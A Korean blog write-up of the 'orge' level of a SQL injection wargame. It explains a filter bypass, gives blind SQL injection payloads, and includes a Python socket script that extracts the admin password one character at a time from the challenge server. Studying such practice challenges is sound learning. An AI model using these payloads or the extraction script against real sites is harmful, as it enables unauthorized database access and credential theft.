[los - SQL injection] orge ( 7단계 )
[ 풀이과정 ]
orge는 if(($reulst['pw']) && ($result['pw'] == $_GET['pw'])) 조건을 만족하게 되면 문제가 풀린다..
이 문제에서도 or, and가 필터링 되있어서 우회해줘야한다.
id값은 guest로 고정이 되있고 pw를 이용해서 SQL injection을 진행하면 되는데
여기서도 2군데 취약점이 존재하는데 아래쪽 select 쿼리는 실행이 되기전에 addslashes()를 이용해서 pw로 넘어가는 값에 싱글쿼터, 더블쿼터, 백슬래시, NULL 값이 있다면 해당 문자앞에 이스케이프 문자가 자동으로 붙는 함수이다.
그러므로 위에 있는 select 쿼리와 echo에 나오는 결과로 admin의 비밀번호를 알아내야 하는데
이 문제는 앞에서 해봤던 방식과 비슷하다는게 감이 왔다..
바로 Blind SQL injection을 이용해서 참/거짓을 이용해 admin의 pw를 찾아내면 된다.
다만, 여기서 주의해야할 점은 첫번째 select 쿼리에는 id값이 guest로 고정이 되어있고
두번째 select 쿼리에서는 id값이 admin으로 고정이 되있다는 점이다!!
select id from prob_orge where id='guest' and pw='' || id='admin' %26%26 length(pw)=8#'를 이용해서
'admin'의 pw가 몇자리인지 알아냈다.
pw는 8자리로 나왔고 python 자동화 코드를 작성해서 비밀번호를 찾아냈다.
select id from prob_orge where id='guest' and pw='' || id='admin' %26%26 ascii(substr((select pw),1,1))=54 %23
쿼리를 이용하는 방식인데 역시나 substr의 두번째 인자인 문자열의 위치값과 비교값을 바꿔가주면서 참/거짓을
비교해주는 방식으로 비밀번호를 찾는다.
( python을 이용해서 소켓통신으로 request 헤더를 만들어 보내면서
참일때 값을 가져와서 한자리씩 출력해준다.. pw를 한자리씩 찾는 과정이다 )
7단계 클리어~~~
orge.py
from socket import *
from struct import *
for i in range(1,9):
ch = 48
while True:
#if 58 <= ch <= 64: ch + 1; continue
#if 91 <= ch <= 96: ch + 1; continue
if ch > 122: break
sock = socket( AF_INET, SOCK_STREAM )
sock.connect( ('104.27.174.42', 80) )
request_header = 'GET /orge_40d2b61f694f72448be9c97d1cea2480.php?pw='
request_header += '\' || id=\'admin\' %26%26 ascii(substr((select pw),'
request_header += str(i)
request_header += ',1))=' + str(ch) + ' %23'
request_header += ' HTTP/1.1\r\n'
request_header += 'Cookie:__cfduid=d31592cd1c94538def3a1513a1f600cca1504864911;
PHPSESSID=h6jbv7cigrc2j0fgv88rf2lfo0\r\n'
request_header += 'Host:los.eagle-jump.org\r\n'
request_header += '\r\n'
sock.send( request_header.encode() )
response = sock.recv(65535).decode()
if 'Hello admin' in response:
print( chr(ch), end='' )
sock.close()
break
ch = ch + 1;
sock.close()
'워게임 > LOS' 카테고리의 다른 글
[los - SQL injection] vampire ( 9단계 ) (0) | 2017.09.23 |
---|---|
[los - SQL injection] troll ( 8단계 ) (0) | 2017.09.23 |
[los - SQL injection] darkelf ( 6단계 ) (0) | 2017.09.23 |
[los - SQL injection] wolfman ( 5단계 ) (0) | 2017.09.23 |
[los - SQL injection] orc ( 4단계 ) (0) | 2017.09.23 |
댓글